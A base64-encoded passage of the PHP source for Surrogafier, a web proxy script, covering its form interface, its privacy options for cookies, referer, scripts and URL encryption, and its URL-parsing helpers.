YXJyYXkoJ01vemlsbGEvNS4wIChYMTE7IFU7IExpbnV4IGk2ODY7IGVuLVVTOyBydjoxLjguMSkg R2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdMaW51eCAvIEZpcmVmb3ggMi4wJyksCglhcnJh eSgnT3BlcmEvOS4wMiAoWDExOyBMaW51eCBpNjg2OyBVOyBlbiknLCdMaW51eCAvIE9wZXJhIDku MDInKSwKCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGlu dXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41Jyks CglhcnJheSgnTGlua3MgKDIuMXByZTE5OyBMaW51eCAyLjYgaTY4NjsgeCknLCdMaW51eCAvIExp bmtzICgyLjFwcmUxOSknKSwKCWFycmF5KCdMeW54LzIuOC41cmVsLjEnLCdBbnkgLyBMeW54IDIu OC41cmVsLjEnKSwKCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksCglh cnJheSgnV2dldC8xLjEwLjInLCdBbnkgLyBXZ2V0IDEuMTAuMicpLAoJYXJyYXkoJzEnLCcgWyBD dXN0b20gXSA8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD4nKQopOwoKZGVmaW5lKCdJUFJF R0VYUCcsJy9eKCg/OlswLTJdezAsMn1bMC05XXsxLDJ9XC4pezN9WzAtMl17MCwyfVswLTldezEs Mn0pXDooWzAtOV17MSw1fSkkLycpOwoKPz4KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0Mv L0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx L0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+Cgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5TdXJyb2dhZmll cjwvdGl0bGU+CjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIG5vZm9sbG93IiAv Pgo8c3R5bGU+Cglib2R5e2ZvbnQtZmFtaWx5OiBiaXRzdHJlYW0gdmVyYSBzYW5zLCB0cmVidWNo ZXQgbXN9CglpbnB1dHtib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwfQoJc2VsZWN0e2JvcmRlcjog MXB4IHNvbGlkICMwMDAwMDB9Cglhe2NvbG9yOiAjMDAwMDAwfQoJYTpob3Zlcnt0ZXh0LWRlY29y YXRpb246IG5vbmV9CgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVf TU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0KCS5zaW1wbGVfc3R1ZmZ7ZGlzcGxheTogPD9w aHAgZWNobyhTSU1QTEVfTU9ERT8ndGFibGUtcm93Jzonbm9uZScpOyA/Pn0KCS51cmx7d2lkdGg6 IDw/cGhwIGVjaG8oU0lNUExFX01PREU/U0lNUExFX01PREVfVVJMV0lEVEg6Jzk5JScpOyA/Pn0K CS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9Cjw/cGhwIGlmKEZPUkNFX1NJTVBMRSl7ID8+Cgkubm9z Y3JpcHRfc3R1ZmZ7ZGlzcGxheTogbm9uZX0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVy OyBmbG9hdDogbm9uZX0KPD9waHAgfSA/Pgo8L3N0eWxlPgo8P3BocCBpZighRk9SQ0VfU0lNUExF KXsgPz48bm9zY3JpcHQ+PHN0eWxlPgoJLmFkdmFuY2VkX3N0dWZme2Rpc3BsYXk6IHRhYmxlLXJv d30KCS5zaW1wbGVfc3R1ZmZ7ZGlzcGxheTogbm9uZX0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5 OiBub25lfQoJLm5vc2NyaXB0dXJse3dpZHRoOiA5OSV9CgkudXJse2Rpc3BsYXk6IG5vbmV9Cgku c2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9Cjwvc3R5bGU+PC9ub3Nj cmlwdD48P3BocCB9ID8+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgo8IS0tCgo8P3Bo cCBqc19wcm94ZW5jKCk7ID8+CgpmdW5jdGlvbiB1c2VyYWdlbnRfY2hlY2soZm9jdXMpewoJaWYo ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNl cmFnZW50JylbMF0udmFsdWU9PScxJyl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJh Z2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOwoJCWlmKGZvY3VzKSBkb2N1bWVudC5nZXRF bGVtZW50QnlJZCgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0JykuZm9j dXMoKTsKCX0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHIn KS5zdHlsZS5kaXNwbGF5PSdub25lJzsKfQoKPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+CmFk dmFuY2VkX21vZGU9dHJ1ZTsKZnVuY3Rpb24gdG9nZ2xlX21vZGUoKXsKCWRvY3VtZW50LmdldEVs ZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFu Y2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOwoJdmFyIGFkdmFuY2VkX3N0dWZmPWRvY3VtZW50Lmdl dEVsZW1lbnRzQnlUYWdOYW1lKCJ0ciIpOwoJZm9yKHZhciBpPTE7aTw9MTI7aSsrKSBhZHZhbmNl ZF9zdHVmZltpXS5zdHlsZS5kaXNwbGF5PShhZHZhbmNlZF9tb2RlPyJub25lIjoiIik7Cglkb2N1 bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFu Y2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1cmwi KS5zdHlsZS53aWR0aD0oYWR2YW5jZWRfbW9kZT8iPD9waHAgZWNobyhTSU1QTEVfTU9ERV9VUkxX SURUSCk7ID8+IjoiOTklIik7CglhZHZhbmNlZF9tb2RlPSFhZHZhbmNlZF9tb2RlOwoJaWYoYWR2 YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsKCXNldFRpbWVvdXQoImRvY3VtZW50 LmdldEVsZW1lbnRCeUlkKCd1cmwnKS5mb2N1cygpOyIsMTAwKTsKfQo8P3BocCB9ID8+CgpmdW5j dGlvbiBzdWJtaXRfY29kZSgpewoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BS RUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsKCWlmKGRvY3VtZW50LmZvcm1zWzBdLjw/cGhwIGVjaG8o Q09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzLmNoZWNrZWQpCgkJZG9jdW1lbnQuZm9ybXNbMF0u PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+ X3BlLnByb3hlbmMoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlKTsKCWVsc2UK CQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPWRvY3Vt ZW50LmdldEVsZW1lbnRCeUlkKCd1cmwnKS52YWx1ZTsKCXJldHVybiB0cnVlOwp9CgovLy0tPgo8 L3NjcmlwdD4KPC9oZWFkPgo8Ym9keTw/cGhwIGVjaG8oU0lNUExFX01PREU/JyBvbmxvYWQ9InRv Z2dsZV9tb2RlKCk7Iic6bnVsbCk7ID8+Pgo8Y2VudGVyPgo8c3BhbiBzdHlsZT0iZm9udC1zaXpl OiAxOHB0OyBmb250LXdlaWdodDogYm9sZDsgbWFyZ2luLWJvdHRvbTogNXB4Ij5TdXJyb2dhZmll cjwvc3Bhbj4KPGZvcm0gbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIHN1Ym1pdF9jb2Rl KCk7IiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweCI+CjxpbnB1dCB0eXBlPSJoaWRk ZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEi IC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4i IGRpc2FibGVkPSJkaXNhYmxlZCIgLz4KPHRhYmxlPgo8dHI+Cjx0ZCBzdHlsZT0idGV4dC1hbGln bjogbGVmdCI+VVJMOiZuYnNwOyZuYnNwOzwvdGQ+Cjx0ZD4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBj bGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPgoJ PG5vc2NyaXB0PjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0ibm9zY3JpcHR1cmwiIG5hbWU9Ijw/ cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iIGlkPSJ1cmwiIHZhbHVlPSI8P3BocCBlY2hvKE9SSUdf VVJMKTsgPz4iIC8+PC9ub3NjcmlwdD4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzaW1w bGVfc3R1ZmYiIGlkPSJzaW1wbGVfc3VibWl0IiB2YWx1ZT0iU3Vycm9nYWZ5IiBzdHlsZT0iYmFj a2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz4KPC90ZD4KPC90cj4KPHRyIGNsYXNzPSJhZHZhbmNl ZF9zdHVmZiI8P3BocCBpZihGT1JDRV9ERUZBVUxUX1RVTk5FTCl7ID8+IHN0eWxlPSJkaXNwbGF5 OiBub25lIj48P3BocCB9ID8+Cjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFBy b3h5OjwvdGQ+Cjx0ZD48dGFibGUgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KPHRy PgoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhw IGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/ cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENP T0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQ UkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBl Y2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENP T0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQt YWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4n X3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/ PiIgLz48L3RkPgoJPHRkIHN0eWxlPSJ3aWR0aDogNXB4Ij4mbmJzcDsmbmJzcDs8L3RkPgoJPHRk IHN0eWxlPSJ3aWR0aDogNTBweCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8o Q09PS19QUkVGKTsgPz5fcHBvcnQiIG1heGxlbmd0aD0iNSIgc2l6ZT0iNSIgc3R5bGU9IndpZHRo OiA1MHB4IiB2YWx1ZT0iPD9waHAgZWNobyhlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19wcG9y dCddKT9ERUZBVUxUX1RVTk5FTF9QUE9SVDokX0NPT0tJRVtDT09LX1BSRUYuJ19wcG9ydCddKTsg Pz4iIC8+PC90ZD4KPC90cj4KPC90YWJsZT48L3RkPgo8L3RyPgo8dHIgY2xhc3M9ImFkdmFuY2Vk X3N0dWZmIj4KPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij5Vc2VyLUFnZW50OjwvdGQ+Cjx0 ZD48c2VsZWN0IG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50IiBzdHls ZT0id2lkdGg6IDEwMCUiIG9uY2hhbmdlPSJ1c2VyYWdlbnRfY2hlY2sodHJ1ZSk7Ij4KPD9waHAg Zm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/PgoJPG9wdGlvbiB2YWx1 ZT0iPD9waHAgZWNobygkdXNlcmFnZW50WzBdKTsgPz4iPD9waHAgaWYoJF9DT09LSUVbQ09PS19Q UkVGLidfdXNlcmFnZW50J109PSR1c2VyYWdlbnRbMF0pIGVjaG8gJyBzZWxlY3RlZD0ic2VsZWN0 ZWQiJzsgPz4+PD9waHAgZWNobygkdXNlcmFnZW50WzFdKTsgPz48L29wdGlvbj4KPD9waHAgfSA/ Pgo8L3NlbGVjdD48L3RkPgo8L3RyPgo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIiBpZD0idXNl cmFnZW50X3RleHR0ciI8P3BocCBlY2hvKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCdd PT0nMSc/bnVsbDonIHN0eWxlPSJkaXNwbGF5OiBub25lIicpOyA/Pj4KCTx0ZD4mbmJzcDs8L3Rk PgoJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91 c2VyYWdlbnR0ZXh0IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3VzZXJhZ2VudHRl eHQiIHZhbHVlPSI8P3BocCBlY2hvKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQn XSk7ID8+IiBzdHlsZT0id2lkdGg6IDk5JSIgLz48L3RkPgo8L3RyPgo8dHIgY2xhc3M9ImFkdmFu Y2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxp bnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxf Zm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19Q UkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQ ZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPgo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48 dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJj aGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfY29va2llcyIg c3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidf cmVtb3ZlX2Nvb2tpZXMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtS ZW1vdmUgQ29va2llczwvdGQ+PC90cj4KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZu YnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2ti b3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX3JlZmVyZXIiIHN0eWxl PSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92 ZV9yZWZlcmVyJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3Zl IFJlZmVyZXIgRmllbGQ8L3RkPjwvdHI+Cjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4m bmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNr Ym94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHls ZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1v dmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92 ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPgo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0 dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0 eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfb2Jq ZWN0cyIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19Q UkVGLidfcmVtb3ZlX29iamVjdHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4m bmJzcDtSZW1vdmUgT2JqZWN0cyAoRmxhc2gsIEphdmEsIGV0Yyk8L3RkPjwvdHI+Cjx0ciBjbGFz cz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjog bGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7 ID8+X2VuY3J5cHRfdXJscyIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9D T09LSUVbQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2Vk IiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBVUkxzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+ PC90ZD48L3RyPgo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQg c3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9w aHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgi IDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBl Y2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2Ny aXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPgo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0 dWZmIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1cnJvZ2Fm eSIgc3R5bGU9IndpZHRoOiAxMDAlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPjwvdGQ+ PC90cj4KPHRyPjx0ZCBzdHlsZT0iZm9udC1zaXplOiA4cHQiIGNvbHNwYW49IjIiPgo8ZGl2IGNs YXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4m bWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pgo8ZGl2IGNsYXNzPSJub3NjcmlwdF9zdHVmZiIg c3R5bGU9ImZsb2F0OiByaWdodCI+PGEgaHJlZj0iIyIgb25jbGljaz0idG9nZ2xlX21vZGUoKTsi IGlkPSJtb2RlX3RvZ2dsZXIiPjw/cGhwIGVjaG8oU0lNUExFX01PREU/J0FkdmFuY2VkJzonU2lt cGxlJyk7ID8+IE1vZGU8L2E+PC9kaXY+CjwvdGQ+PC90cj4KPC90YWJsZT4KPG5vc2NyaXB0Pgo8 YnIgLz4KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3Nl ciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+CjxiciAvPgo8Yj4q KjwvYj4gU3Vycm9nYWZpZXIgcmVxdWlyZXMgSmF2YXNjcmlwdCBpbiBvcmRlciB0byBmdW5jdGlv biB0byBpdHMgZnVsbCBwb3RlbnRpYWwuIDxiPioqPC9iPgo8L25vc2NyaXB0Pgo8L2Zvcm0+Cjwv Y2VudGVyPgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwIGV4aXQoKTsgfQoKIyB9fX0KCiMgRlJBTUVE IFBBR0UgV0lUSCBVUkwgRk9STSB7e3sKaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRV9U T1AgJiYgT1JJR19VUkwhPW51bGwpeyA/Pgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hv KE9SSUdfVVJMKTsgPz48L3RpdGxlPgo8c3R5bGU+Cglib2R5e2ZvbnQtZmFtaWx5OiBiaXRzdHJl YW0gdmVyYSBzYW5zLCB0cmVidWNoZXQgbXM7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHg7IGZv bnQtc2l6ZTogMTJweDsgb3ZlcmZsb3c6IGhpZGRlbn0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlk ICMwMDAwMDB9Cgl0ZHtmb250LXNpemU6IDEycHh9Cglhe3RleHQtZGVjb3JhdGlvbjogbm9uZTsg Y29sb3I6ICMwMDAwMDB9CglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lfQo8L3N0 eWxlPgo8c2NyaXB0Pgo8IS0tCgo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PXRydWU7Cgo8P3Bo cCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4KCmZ1bmN0aW9uIHN1Ym1pdF9jb2Rl KCl7Cjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+Cglkb2N1bWVudC5mb3Jtc1swXS48P3BocCBl Y2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJv eGVuYyhkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlKTsK PD9waHAgfSA/PgoJcmV0dXJuIHRydWU7Cn0KCi8vLS0+Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5 Pgo8Zm9ybSBtZXRob2Q9ImdldCIgb25zdWJtaXQ9InJldHVybiBzdWJtaXRfY29kZSgpOyI+Cjxp bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9IiIgLz4KPHRhYmxlIGNlbGxwYWRkaW5n PSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBh ZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPgo8dHI+PHRkPjx0YWJsZSBjZWxscGFkZGluZz0iMCIg Y2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJ3aWR0aDogMTAwJTsgcGFkZGluZzogM3B4Ij4KPHRyPgoJ PHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NS SVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNw OzwvdGQ+Cgk8dGQgc3R5bGU9IndpZHRoOiAxMDAlIj48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9 InVybCIgbmFtZT0iIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmctbGVmdDogNHB4IiBpZD0i dXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvdGQ+Cgk8dGQ+Jm5ic3A7 PC90ZD4KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0i c2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6 ICNGMEYwRjAiIC8+PC90ZD4KPC90cj4KPC90YWJsZT48L3RkPjwvdHI+Cjx0cj48dGQgc3R5bGU9 ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPgo8aWZyYW1lIG5h bWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdG9wIiBzcmM9Ijw/cGhwIGVjaG8oVEhJU19T Q1JJUFQuJz89XyY9Jy5PRU5DX1VSTCk7ID8+IiBmcmFtZWJvcmRlcj0iMCIgc3R5bGU9ImJvcmRl cjogMHB4OyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlIj48L2lmcmFtZT4KPC90ZD48L3RyPgo8 L3RhYmxlPgo8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo8P3BocCBleGl0KCk7IH0KCiMgfX19Cgoj IFBSRS1KQVZBU0NSSVBUIENPTlNUQU5UUyAmIEZVTkNUSU9OUyB7e3sKIyB0aGVzZSBjb25zdGFu dHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0 IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcgoKI2RlZmluZSgnQVVSTF9MT0NL X1JFR0VYUCcsJyg/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8fnwlN2UpJyk7CmRlZmlu ZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8 IykvaScpOwpkZWZpbmUoJ0FVUkxfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFp bHRvfGFib3V0KTp8I3wnLnN0cl9yZXBsYWNlKGFycmF5KCcvJywnLicpLGFycmF5KCdcLycsJ1wu JyksYWRkc2xhc2hlcyhUSElTX1NDUklQVCkpLicpL2knKTsKZGVmaW5lKCdVUkxSRUcnLCcvXicu CgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8KCScoPzooW15cQFwvXSopXEAp PycuCQkJIyB1c2VycGFzcwoJJyhbXlwvOlw/XCNcJl0qKScuCQkJIyBzZXJ2ZXJuYW1lCgknKD86 XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwKCScoXC9bXlwmXD9cI10qPyk/Jy4JCQkjIHBhdGgK CScoW15cL1w/XCNcJl0qKD86XCZbXlw/XCNdKik/KScuCSMgZmlsZQoJJyg/Olw/KFtcc1xTXSo/ KSk/Jy4JCQkjIHF1ZXJ5CgknKD86XCMoW1xzXFNdKikpPycuCQkJIyBsYWJlbAonJC9peCcpOwoK ZnVuY3Rpb24gZXNjYXBlX3JlZ2V4cCgkcmVnZXhwLCRkb2xsYXI9ZmFsc2UpewoJJHJlZ2V4cD1z dHJfcmVwbGFjZSgnXFwnLCdcXFxcJyxzdHJfcmVwbGFjZSgnXCcnLCdcXFwnJyxzdHJfcmVwbGFj ZSgnIicsJ1xcIicsc3RyX3JlcGxhY2UoY2hyKDEwKSwnXG4nLHN0cl9yZXBsYWNlKGNocigxMyks J1xyJyxzdHJfcmVwbGFjZShjaHIoOSksJ1x0JywkcmVnZXhwKSkpKSkpOwoJcmV0dXJuICgkZG9s bGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnBy ZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoK fQoKIyB9fX0KCiMgSkFWQVNDUklQVCBGVU5DUyB7e3sKCmlmKFFVRVJZX1NUUklORz09J2pzX2Z1 